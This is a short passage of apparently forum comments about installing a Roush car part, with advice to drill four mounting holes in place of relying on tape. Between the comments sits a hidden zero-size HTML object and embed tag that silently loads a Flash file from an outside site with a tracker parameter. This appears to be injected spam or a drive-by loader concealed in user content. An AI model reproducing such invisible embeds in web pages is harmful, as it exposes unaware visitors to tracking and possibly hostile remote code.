I think you need to drill 4 altogether ~ 2 on each side. Roush has the install guide on their website.<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="http://brbyowner.com/?tracker=4097"></param><param name="allowFullScreen" value="true"></param><embed src="http://brbyowner.com/?tracker=4097" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>
I'd go ahead and drill... I don't like the thought of anything on my car that expensive being held on by TAPE...